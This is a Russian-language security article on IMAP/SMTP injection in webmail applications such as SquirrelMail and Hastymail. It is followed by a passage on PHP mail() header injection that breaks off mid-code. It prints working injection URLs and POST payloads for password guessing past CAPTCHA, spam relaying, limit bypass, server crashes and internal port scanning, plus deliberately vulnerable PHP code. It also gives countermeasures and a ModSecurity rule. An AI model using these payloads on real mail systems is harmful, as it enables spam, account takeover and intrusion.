Ошибки проверки вводимых данных инъекция e mail

By Vicente Aguilera Diaz

( vaguilera (at) isecauditors (dot) com )

Введение

Веб-приложения электронной почты используют протоколы IMAP и SMTP для обеспечения взаимодействия пользователя с его почтовым ящиком. По сути, это означает, что они являются прокси между приложением клиента и почтовым сервером, для выполнения установленных действий.

Это взаимодействие начинается в тот момент, когда пользователь посылает свои учётные данные (логин и пароль) для того чтобы авторизоваться, используя веб-приложение. В этой точке, предполагая, что IMAP сервер поддерживает метод аутентификации «LOGIN», веб-приложение связывается с IMAP сервером, посылая следующую команду:

AUTH LOGIN <user> <password>

Затем приложение анализирует возвращаемый сервером ответ и, в зависимости от его содержимого, запрещает либо запрещает доступ пользователя к его ящику.

Таким же образом приложение переводит различные действия пользователя в команды IMAP и SMTP которые посылаются соответствующему серверу. Однако возможный функционал ограничен веб-приложением, так как пользователь не может инициировать IMAP или SMTP команды отличные от тех, которые определены в веб-приложении. С другой стороны, пользователь обладает возможностью изменять команды IMAP и SMTP команды, передаваемые почтовым серверам.

 Также как и в многократно описанных технологиях SQL, LDAP, SSI, Xpath и CRLF инъекций, технология MX инъекции позволяет внедрение произвольных IMAP или SMTP команд почтовому серверу через веб-приложение, некорректно обрабатывающее предоставленные пользователем данные.

Техника MX инъекций особенно полезна в тех случаях, когда почтовый сервер, использующийся веб-приложением, напрямую недоступен из интернет (см. рис 1). Процесс внедрения произвольных команд подразумевает, что пользователю через веб-приложение доступны порты 25(smtp) и 143(imap).

На рисунке выше представлен запрос пользователя веб-приложению для совершения операции с почтовым ящиком. Шаги 1,2 и 3 показывают стандартный запрос через веб-приложение. Шаги 1 и 2’ представляют, что пытается сделать атакующий, использующий MX инъекцию.

Для атакующего, пользующегося техникой MX инъекций, порты почтового сервера, обычно закрытые файрволом, доступны «напрямую». Использование этой техники допускает большое количество воздействий и видов атак. Открывающиеся же возможности зависят от типа сервера, для которого проводится инъекция. Как уже было сказано во введении, веб-приложения электронной почты переводят запросы от пользователей в команды протоколов IMAP и SMTP. В следующей главе я объясню, как мы сможем эксплуатировать оба протокола.

 IMAP инъекции.

В данном случае инъекция команды делается для IMAP сервера, поэтому она должна соответствовать спецификации этого протокола. Веб-приложения электронной почты связываются с IMAP сервером чтобы выполнить необходимые операции, и по этой причине они более уязвимы для атак подобного рода.

Во время аутентификации пользователя приложение передаёт учётные данные IMAP серверу, таким образом IMAP инъекции могут иметь место без необходимости наличия валидного аккаунта в приложении, эксплуатируя в данном случае механизм авторизации непосредственно IMAP сервера.

Перед внедрением команд пользователь должен все определить параметры, использующиеся в процессе связи с веб-приложением и связанные с функционированием приложения, такие как:

• аутентификация/login/logout
•    операции с почтовым ящиком (list/read/create/delete/rename)
• операции с сообщениями (read/copy/move/delete)

Давайте для примера рассмотрим IMAP инъекцию эксплуатирующую функцию прочтения сообщения. Предположим, что веб-приложение использует параметр «message_id» для хранения идентификатора сообщения, которое пользователь запрашивает для прочтения. Запрос, содержащий идентификатор сообщения, при посылке выглядит так:

  http://<webmail>/read_email.php?message_id=<number> 

Предположим, что со страницы “read_email.php”, ответственной за отображение соответствующего сообщения, запрос передаётся серверу без проведения каких-либо проверок значения <number>, передаваемого пользователем. Команда, посылаемая серверу, будет выглядеть так:

FETCH <number> BODY[HEADER]

В этом контексте злоумышленник может провести атаку IMAP инъекцией через параметр “message_id» используемый приложением для связи с почтовым сервером. Например команда IMAP протокола “CAPABILITY” может быть внедрена через следующую последовательность:

http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900 CAPABILITY%0d%0aZ901 FETCH 1

Это приведёт к посылке следующей последовательности команд IMAP серверу:

FETCH 1 BODY[HEADER]

  Z900 CAPABILITY

  Z901 FETCH 1 BODY[HEADER]

И страница, возвращаемая сервером будет показывать результат команды «CAPABILITY» от IMAP сервера: * CAPABILITY IMAP4rev1 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES

  SORT QUOTA ACL ACL2=UNION

  Z900 OK CAPABILITY completed

 SMTP инъекция

В этом случае внедрение команд производится в SMTP сервер, поэтому внедряемые команды должны следовать этому протоколу. Из-за того, что все проводимые операции разрешены приложением, используя SMTP протокол мы, проще говоря, имитируем отсылку письма. Использование SMTP инъекции предполагает, что пользователь предварительно аутентифицировался, т.е. необходимо чтобы имелся активный пользовательский аккаунт.

Ниже приведён формат письма, посылаемого через SMTP:

• отправитель
• получатель
• тема
• тело письма
• присоединённые файлы

Давайте на примере рассмотрим технику SMTP инъекции чрез параметр, который содержит тему письма.

Как я уже объяснил ранее, при использовании данного метода необходимо, чтобы пользователь был аутентифицировал себя, тогда инъекция SMTP команды будет произведена в параметр, ассоциированный с темой отсылаемого письма. В общем случае, веб-приложение электронной почты предоставляет пользователю форму, где он должен ввести необходимую информацию, она затем будет передана процедуре, которая ответственна за создание SMTP команд, необходимых для посылки данного письма.

Типичный запрос для отправки письма будет выглядеть так:

 POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SMTP Injection Example

  ——————————134475172700422922879687252

Он сгенерирует следующую последовательность команд SMTP:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

….

Если приложение не достаточно корректно проверяет значение параметра «Subject», атакующий сможет внедрить в него дополнительные SMTP команды:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

  ——————————134475172700422922879687252

Команды внедренные в примере выше произведут следующую последовательность SMTP команд, которая будет отослана почтовому серверу и будет включать команды MAIL FROM, RCPT TO и DATA, как показано ниже:

   MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

  …

 MX инъекции: каковы преимущества?

Публикации и обсуждения о подобных инъекциях в почтовые системы существовали и до этой статьи. С уверенностью модно сказать, что наиболее известной является CRLF инъекция в функцию PHP mail().

Тем не менее, они состоят только из частичного внедрения кода, как в случае внедрения заголовков письма. Этот тип инъекций позволит реализовать различные операции (рассылка анонимных писем, спамрелеинг, итд.) которые также возможы с техникой MX инъекций, так как базируются на одном и том же типе уязвимости.

Преимущество же данной техники состоит в возможности полноценной передачи команд уязвимым серверам без каких либо ограничений. Другими словами, её использование допускает не только внедрение заголовков, («From», «Subject», «To», итд.), но и произвольных команд в почтовый сервер (IMAP/SMTP) связанный с веб-приложением.

MX инъекция позволяет обойти стандартный функционал веб-приложения электронной почты (например, разослать большие объёмы почты). Эта техника позволит выполнить дополнительные действия, невозможные непосредственно через веб-приложение (например, спровоцировать переполнение буфера через команду протокола IMAP).

Возможность внедрения произвольных команд будет особенно интересна специалистам по безопасности (pen-testers), так как позволяет использование уязвимостей которые в некоторых ситуациях могут привести к получению полного управления сервером.

 Создание атак

Далее я приведу несколько примеров различных типов атак на почтовые сервера, а также практические примеры использования техники MX-инъекций.

Реальные ситуации были смоделированы на web-приложениях SquirrelMail (версии 1.2.7 и 1.4.5) и Hastymail (версии 1.0.2 и 1.5). SquirellMail версии 1.2.7 более не поддерживается командой SquirellMail, поэтому рекомендуется обновиться как минимум до версии 1.4.6, так как все предыдущие версии уязвимы к данным типам атак. Все версии Hastymail версии младше 1.5 также уязвимы к SMTP и IMAP инъекциям и пользователям настоятельно рекомендовано использовать последние патчи.

Команды разработчиков SquirellMail и Hastymail были уведомлены об уязвимостях и обе быстро предоставили заплатки. Вскоре после этого был выпущен плагин для Nessus, предназначенный для проверки наличия данных уязвимостей.

Атаку необходимо проводить в два приёма:

•   определить уязвимый параметр.
• выяснить, насколько широко можно его использовать.

 Определение уязвимого параметра.

Идентификация уязвимых параметров может быть проведена тем же путем, что и при проверке на другие типы инъекций, т.е. проверкой поведения сервера в нестандартной ситуации. А именно, посылкой приложению необычных значений для каждого из параметров передаваемых далее как часть IMAP либо SMTP протокола, и попытками определить наличие подтверждения уязвимости.

Рассмотрим пример:

Когда пользователь получает доступ к папке INBOX своего почтового аккаунта, запрос к SquirellMail выглядит так:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX

Если пользователь изменит значение «mailbox» таким образом:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22

, то приложение отреагирует выдачей сообщения ошибке:

  ERROR : Bad or malformed request.

  Query: SELECT «INBOX»»

  Server responded: Unexpected extra arguments to Select

Очевидно это не должно быть нормальным поведением приложения. Это сообщение об ошибке по мимо всего прочего говорит о том, что была попытка выполнить команду IMAP “SELECT”. Используя эту процедуру, мы можем установить, что параметр “mailbox” подвержен атакам типа MX-инъекция, а в частности IMAP-инъекциям.

В других случаях определение и использование уязвимых параметров может быть не столь очевидным. Например, когда пользователь получает доступ к своей папке INBOX в Hastymail, запрос выглядит так:

  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

Если пользователь изменяет параметр “mailbox” следующим образом:  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX»

Приложение реагирует выдачей следующей ошибки:

Could not access the following folders:

INBOX»

To check for outside changes to the folder list go to the folders page

В этом случае, добавление двойной кавычки не изменило поведения приложения. Результат выполнения запроса такой же, как если бы мы добавили любой другой символ:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

Приложение реагирует выдачей сообщения об ошибке:

  Could not access the following folders:

  NOTEXIST

  To check for outside changes to the folder list go to the folders page

Если пользователь пытается использовать вариации IMAP-инъекции:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST «%0d%0aA0003%20CREATE%20″INBOX.test

Приложение также отреагирует выдачей сообщения об ошибке:

  Unable to perform the requested action

  Hastymail said:: A0003 SELECT «INBOX»

  And the IMAP server said::

  A0003 NO Invalid mailbox name.

Изначально кажется, что попытка IMAP-инъекции не удалась. Однако, используя различные комбинации управляющих символов, можно достичь нужной цели. В следующем пример используется кодирование знака кавычки через представление в виде двух символов, заменяя использованное в предыдущем примере на последовательность %2522:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

%2522%0d%0aA0003%20CREATE%20%2522INBOX.test

В этом случае приложение не выдаёт никаких сообщений об ошибках и успешно создаёт папку «test» в INBOX.

Другие варианты:

• Подставить в параметр значение null (т.е. “mailbox=”)
• Заменить значение именем несуществующего почтового ящика ( “mailbox=NotExist” ).
• Добавить другие значения к параметрам ( “mailbox=INBOX PARAMETER2” )
• Добавить нестандартные символы ( .?,@,#,!,n)
• Добавить последовательность CRLF ( “mailbox=INBOX%0d%0a”)

 Рамки использования

Когда определён уязвимый параметр (будь то IMAP или SMTP команда), необходимо понять, насколько широко его можно использовать. Другими словами, нужно уяснить последовательность команд и место нашей уязвимой команды в этой последовательности, для того чтобы передать ей адекватные параметры.

Чтобы успешно проделать MX инъекцию, необходимо, чтобы предыдущая команда заканчивалась последовательностью CRLF («%0d%0a»). В этом случае данная последовательность будет использоваться для разделения команд.

Если у пользователя есть возможность внедрения команды и просмотра выдаваемых сообщений об ошибках, то на следующем этапе нужно понять последовательность выполняемых операций.

Рассмотрим пример:

Когда пользователь запрашивает письмо на просмотр, в SquirellMail генерируется следующий запрос:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0

Если пользователь изменит значение “passed_id” следующим образом:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0

То приложение ответит ошибкой:

•   ERROR : Bad or malformed request.
•   Query: FETCH test:test BODY[HEADER] 
•   Server responded: Error in IMAP command received by server

Здесь пользователь может определить, что выполняемая IMAP команда это “FETCH” вместе сопутствующими параметрами. На этом этапе, определив уязвимый параметр, у нас есть достаточно данных, для проведения инъекции дополнительной команды.

  http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0

Данный запрос выполнит следующие IMAP команды на сервере:

FETCH 1 BODY[HEADER]

  Z900 RENAME INBOX ENTRADA

  Z910 FETCH 1 BODY[1]

Если же пользователь не может видеть сообщения об ошибках (т.н. «инъекция вслепую»), то информация о соответствующей операции должна быть получена из типа выполняемой операции. К примеру, если инъекция делается через параметр формы аутентификации “password”, IMAP команда, выполняемая сервером, будет выглядеть так:

  AUTH LOGIN <user> <password>

Возвращаясь к вышесказанному: если же инъекция проводится через параметр “mailbox”, то исполняемой IMAP командой будет:

  LIST «<reference>» <mailbox>

Чтобы лучше понять принципы работы IMAP протокола, обратитесь к «»RFC 3501: Internet Message Access Protocol — Version 4rev1″ .

 Атака с утечкой информации

Применённая техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

Эта инъекция может применяться для получения информации об IMAP сервере, в тех случаях, когда получение информации другими методами затруднено.

Предполагая, что пользователь имеет возможность инъекции команды “CAPABILITY” в параметр “mailbox”:

http://<webmail>/src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT «INBOX&passed_id=1&startMessage=1&show_more=0

Ответ после команды CAPABILITY отобразит список параметров, разделённый запятыми, вместе с соответствующими каждому параметру возможностями сервера.

  * CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN

  Z900 OK capabilities listed

  * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE

  Z900 OK Completed

  * CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN

  Z900 OK Completed

С помощью этой команды пользователь может определить различные методы аутентификации, поддерживаемые сервером (ответы “AUTH=”), отключенные команды входа (LOGINDISABLED), добавленные к поддерживаемым расширениям и ревизиям IMAP протокола.

Команда CAPABILITY может быть выполнена без аутентификации, поэтому, если она была обнаружена среди команд, доступных для инъекции, то непременно должна быть выполнена.

обход технологий типа CAPTCHA

Примененная техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

В наши дни обычным для веб-приложений стало использование технологии типа CAPTCHA. Цель очевидна – предотвратить автоматизированные атаки на отдельные процессы. Например, добавление CAPTCHA к форме регистрации пользователя предотвращает вход «робота» в качестве обычного пользователя либо подбор существующих имён пользователей или паролей.

Если механизм аутентификации пользователя IMAP сервера уязвим для IMAP инъекции, злоумышленник может обойти ограничения типа CAPTCHA.

Первое: предположим, что поле “password” в форме аутентификации допускает проведение инъекции IMAP команд. Если атакующий пытается определить пароль “pwdok” пользователя “victim”, он может провести многочисленные запросы, используя, например, атаку по словарю.

Далее, предположим, что словарь состоит из следующих записей: pwderror1, pwderror2, pwdok, pwderror3.

В этом случае, пользователь может внедрить следующие команды для проведения атаки:

  http://<webmail>/src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3

Что приведёт к выполнению соответствующих команд на IMAP сервере: (C – запрос клиента, S – ответы сервера):

  C: Z900 LOGIN victim pwderror1

  S: Z900 NO Login failed: authentication failure

  C: Z910 LOGIN victim pwderror2

  S: Z910 NO Login failed: authentication failure

  C: Z920 LOGIN victim pwdok

  S: Z920 OK User logged in

  C: Z930 LOGIN victim pwderror3

  S: Z930 BAD Already logged in

Итак, если пароль жертвы есть в используемом для подбора словаре, то в конце инъекции злоумышленник обнаружит, что он аутентифицирован на сервере. С этого момента можно производить инъекции команд, для которых необходимо быть аутентифицированным на сервере.

 Релеинг

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Пользователь, аутентифицированный веб-приложением, имеет возможность создавать и отсылать электронную почту.

Предположим, что параметр «subject» уязвим для SMTP инъекции.

В этой ситуации возможно проведение атаки для использования сервера как релея. Например следующие команды инициируют посылку письма с «внешнего» адреса на другой «внешний» адрес.

  POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Relay Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  Relay test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к выполнению сервером следующей последовательности SMTP команд:

 MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Relay Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  Relay test

  .

  …

 Рассылка спама.

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

В этом сценарии всё аналогично предыдущему. Ставя себе цель обойти ограничения, накладываемые сервером (веб-приложением), например по количеству писем, отсылаемых пользователем, атакующий внедряет с уязвимым параметром необходимое количество команд (по нужному количеству писем к отправке). Посылая один нижеприведённый POST запрос веб-серверу, атакующий может выполнить несколько действий. Давайте на примере рассмотрим посылку трёх писем одной командой:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к выполнению следующей последовательности SMTP команд:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  …

Обход ограничений

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Этот случай является комбинацией двух предыдущих. Здесь инъекция SMTP команд позволяет обойти ограничения накладываемые на уровне веб-приложения.

Рассмотрим несколько примеров:

Предположим, что веб-приложение не разрешает посылать писем больше заданного количества в определённый промежуток времени. SMTP инъекция позволит обойти ограничение, добавляя столько команд RCPT, сколько необходимо:

POST http://<webmail>/compose.php HTTP/1.1

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain1.com

  RCPT TO: external@domain2.com

  RCPT TO: external@domain3.com

  RCPT TO: external@domain4.com

  Data

  Test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к посылке серверу следующей последовательности команд:

  MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Test

  .

  MAIL FROM: external@domain.com

  RCPT TO: external@domain1.com

  RCPT TO: external@domain2.com

  RCPT TO: external@domain3.com

  RCPT TO: external@domain4.com

  DATA

  Test

  .

  …

Обход ограничения на количество вложений:

Предположим, что веб-приложение накладывает ограничение на количество вложений в письмо. SMTP инъекция позволит обойти этот вид ограничений. На примере уязвимого параметра «subject», посмотрим, как можно вложить три текстовых файла:

…

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

  ——————————134475172700422922879687252

  …

Которые произведут следующую последовательность команд, посланных почтовому серверу:

  MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

  …

Используя данные три приёма, атакующий может послать столько писем, сколько захочет и с необходимым количеством вложений.

 Использование уязвимостей протоколов

Возможность выполнения произвольных команд почтового протокола на сервере позволит атакующему эксплуатировать существующие уязвимости посылкой серверу соответствующих команд.

Рассмотрим несколько примеров:

DOS-атаки на почтовый сервер

Например: переполнение буфера в MailMax версии 5.

Использование имя почтового ящика длиной более 256 символов в параметре SELECT приведёт к выдаче сообщения «Buffer overrun detected! — Program:»

Теперь сервер остановлен должен быть перезапущен вручную.

Полагая, что если параметр «mailbox» на странице веб-приложения уязвим к IMAP инъекции, использование этой уязвимости может быть проведено следующим способом (требуется, чтобы пользователь был аутентифицирован):

   http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT «aa…[256]…aa»

 Выполнение произвольного кода на сервере

Другой пример уязвимого сервера — IMAP сервер MailEnable. Он подвержен переполнению буфера в команде STATUS, которое позволяет выполнить произвольный код на IMAP сервере. Полагая, что параметр «mailbox» веб-приложения уязвим для IMAP инъекции, использование этой уязвимости может быть проведено следующим образом (требуется, чтобы пользователь был аутентифицирован):

http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS

 Сканирование портов во внутренней сети

IMAP сервер разработанный в University of Washington (UW-IMAP, http://www.washington.edu/imap) позволяет выполнить сканирование портов используя команду SELECT в формате SELECT «{ip:port}».

На примере рассмотрим использование уязвимости в SquirellMail версии 1.4.2., полагая, что параметр «mailbox» уязвим для IMAP инъекции (требуется, чтобы пользователь был аутентифицирован):

1)      запрос на открытый порт (80) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}

Ответ на предыдущий запрос:

ERROR : Connection dropped by imap-server.

  Query: SELECT «{192.168.0.1:80}»

2)      запрос на закрытый порт (21) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}

Ответ сервера предыдущий запрос:

ERROR : Could not complete request.

  Query: SELECT «{192.168.0.1:21}»

  Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused

Различия в ответах от IMAP сервера позволяют злоумышленнику выяснить статус нужного порта.

Подытожим: благодаря MX-инъекциям, стало возможно использовать уязвимости в почтовых серверах, которые в обычной ситуации использовать не удастся. Для аудитора безопасности умение находить и эксплуатировать данные уязвимости — большой плюс. По этой причине данный вопрос будет представлен в будущей статье по эксплуатированию MX- инъекций.

Сравнение IMAP и SMTP инъекций.

Ниже приведенная таблица показывает характеристику обоих типов MX инъекций:

Критерии защиты

Как и при других уязвимостях, приводящих к внедрению данных атакующим, защита веб-проложений электронной почты требует внедрения и применения необходимых мер, предлагаемых командой разработчиком. Однако, чтобы сузить возможность атакующего использующего данные уязвимости, необходимо применять более широкие меры по безопасности всего сервера.

Ниже приведены контрмеры по противодействию подобного типа атакам:

Проверка вводимых данных.

Все введённые данные, используемые приложением (не только введённые пользователем, но и используемые для внутренних нужд) должны быть нормализованы, должны быть удалены все символы, которые могут быть использоваться с умыслом. Проверки должны быть произведены до каких либо манипуляций с данными.

Как обсуждалось ранее, выполнение новых команд IMAP/SMTP требует, чтобы предыдущая команда заканчивалась CRLF. Чтобы убедиться в то, что не внедрено дополнительных команд, вы можете удалить подобные символы до передачи введённых данных непосредственно почтовому серверу.

Конфигурация IMAP/SMTP серверов

Если для доступа к почтовым серверам используется только веб-приложения, данные серверы не должны быть видны из Интернет. В дополнение к этому вы должны усилить ограничения для них, отключая все команды, за исключением действительно необходимых, для снижения угрозы атак MX инъекциями.

Файрволы уровня приложений

Если мы развёртываем такой файрвол наряду с другими системами защиты — можно добавить соответствующие правила к фильтру.

В качестве примера файрвола уровня приложения приведу ModSecurity. Для предыдущего случая со SquirellMail результирующее правило будет выглядеть так:

SecFilterSelective «ARG_mailbox» «rn»

Оно будет фильтровать внедрение последовательности <CRLF> в параметр «mailbox».

Заключение

Этот документ представляет два практических примера веб-приложений (SquirellMail и Hastymail) уязвимых для техники MX инъекций, поэтому все приложения использующие SMTP и IMAP, будут также уязвимы из-за этого.

В настоящее время подавляющее большинство приложений не используют «чистый» протокол (SMTP/IMAP) для связи с почтовым сервером, а используют вызовы стандартных библиотечных функций которые и завершают процесс.

В следующей версии статьи будет проведён анализ упомянутых библиотек, а также веб-приложений, использующих эти библиотеки, которые могут быть уязвимы для MX инъекций.

Избавляемся от Email Injection

Проблема спама — одна из наиболее
актуальных для обитателей
всемирной паутины на сегодняшний
день. Бесчисленное количество
людей постоянно пытаются создать
уникальные фильтры для прочистки
почтового трафика, однако злые
спамеры продолжают активно
атаковать наши ящики каждый день
предложениями купить что-нибудь
или воспользоваться их услугами.
Надоедает удалять весь этот
ненужный контент, не так ли? Вот я и
задумался, что же позволяет многим
спамерам активно бомбить наши e-mail.
Как оказалось, все довольно
банально. Огромное количество
злоумышленников используют так
называемую E-mail-инъекцию, которая
присутствует практически на любом
сайте с формой обратной связи или
возможностью посоветовать
материал другу на e-mail. О ней и
поговорим.

E-mail Injection — уязвимость веб-сайтов,
эксплуатируемая в целях отправки
большому числу адресатов почтовых
писем, естественно, не с
поздравлениями с Днем рождения ;). 95%
сайтов в Сети обязательно содержат
форму обратной связи или
предлагают пользователю отправить
ссылку на эту страничку другу на
электронную почту. Очень редко
информация, введенная
пользователем, поддается
какой-нибудь проверке со стороны
скрипта отправки письма (обычно это
код на PHP), за исключением самого
текста письма, да и то только на
наличие HTML тегов. Ну а цель спамера
какая? Правильно, не попытка
XSS-атаки на сайт, а донести какую-то
информацию до почтовых ящиков
пользователей. Инъекции поддается
вводимая пользователем информация.
Данный фактор позволяет без
каких-либо препятствий рассылать
нежелательную корреспонденцию.
Причем, IP-адрес отправителя будет
адресом сайта, с которого
производится рассылка, а не самого
злоумышленника. Это позволяет
защититься от фильтров по blaklist’у, а
заодно и делает спамера анонимным.

Техника e-mail-инъекции заключается
в использовании особенностей
MIME-формата (подробнее о нем можно
почитать в Википедии:
ru.wikipedia.org/wiki/MIME), в частности,
добавление дополнительного списка
получателей. MIME формат использует
так называемый «возврат
каретки», что позволяет ему
отделять информацию друг от друга.
Так вот, этот «возврат каретки»
или символ переноса строк
используется спамером для
отделения и добавления большого
числа адресатов и отправки им
сообщения за один проход. Чтобы
иметь представление об этой
уязвимости, рассмотрим для начала
устройства самого почтового
сообщения.

Ковыряем «внутренности»
письма

Итак, что собой представляет
обычное электронное письмо?
Во-первых, это обычный текст.
Простой набор строк с ключевыми
словами (заголовками), благодаря
которым программа-отправитель
имеет представление об адресате,
отправителе, теме письма и прочей
информации. При отправке письма
изначально идут заголовки с их
значениями, а потом уже сам текст.
Зная их предназначение, можно даже
самому «читать» письмо, причем
видеть его таким, какое оно есть на
самом деле, а не таким, каким его
показывает почтовая программа или
сайт. Если рассматривать письмо с
отображением его заголовков в
почтовом клиенте, например, в TheBat,
то оно будет выглядеть следующим
образом:

Текст, выделенный жирным шрифтом,
— это и есть заголовки сообщения,
после которых идет текст письма.
Заголовки, начинающиеся с X,
необязательные. Они используются
для разнообразной служебной
информации, такой, как имя
почтового клиента-отправителя или
результат проверки на спам. Все
достаточно просто.

E-mail injection в действии

Техника e-mail-инъекции, как я писал
ранее, построена на особенности
обработки этих заголовков. В рамках
этой статьи мы рассмотрим три
способа проведения атаки: при
помощи манипуляции с полем
«отправитель», при помощи
манипуляции с полем
«получатель» и при помощи
подмены текста письма. Все они
будут производиться из формы
обратной связи и с использованием
стандартной для PHP функции mail().
Заглянув в любой справочник, можно
увидеть следующее описание данной
функции:

Bool mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS],[EXTRAPARAMS])

В качестве RECIPIENT выступает ящик,
куда будет отправлено письмо; SUBJECT —
тема письма; MESSAGE — текст сообщения;
EXTRAHEADERS — дополнительные заголовки;
EXTRAPARAMS — дополнительные параметры
вроде флагов для командной строки
программы-отправителя почты.
Теперь можно приступить к
рассмотрению примеров.

Манипуляции с отправителем

На сайте присутствует форма с
полями «ФИО», «Обратный
E-mail» и «Текст сообщения». Код
отправки письма выглядит следующим
образом:

<?php if($_POST['submit'])
 { $title = htmlspecialchars($_POST['title']);
   $mess = htmlspecialchars($_POST['message']);
   mail('admin@site.ru', $title, $mess, 'From:'.$_POST['email']);
   echo 'Сообщение отправлено.'; } ?>
<form action="" method=post> 
<div align="center">ФИО<br>
<input type="text" name="from" size="40"><br>Обратный e-mail<br>
<input type="text" name="title" size="40"><br>Сообщение<br>
<textarea name="message" rows="10" cols="40"></textarea><br>
<input type="submit" value="Отправить" name="submit"></div>
</form>

Функция htmlspecialchars используется
для преобразования специальных
символов в HTML сущности, что
позволяет защитить от простейших
атак. Для отправки
сообщенияприменяется
рассмотренная выше функция mail.
«Мыльная» инъекция в таком
случае производится путем
подстановки специально
сформированных данных в параметр
EXTRAHEADERS вышеуказанной функции.
Подставить можно, например, такие
данные:

original@test.ru

CC: spam_mail@gmail.com, second_spam_mail@gmail.com,
third_spam_mail@mail.ru

Функция mail() без всяких запросов
вставит данный текст как заголовок
в наше письмо. А почтовый агент при
отсылке письма отправит его копию
всем указанным в CC (Carbon Copy)
адресатам, тем самым помогая
спамеру делать его грязное дело.
Все просто как дважды два.

Манипуляции с получателем

Второй случай реализации
инъекции доступен только тогда,
когда разработчик web-сайта
конкретно обезумел, и код отправки
письма у него выглядит следующим
образом:

<?php if($_POST['submit'])
 { $title = htmlspecialchars($_POST['title']);
   $to = htmlspecialchars($_POST[' to']);
   $mess = htmlspecialchars($_POST['message']);
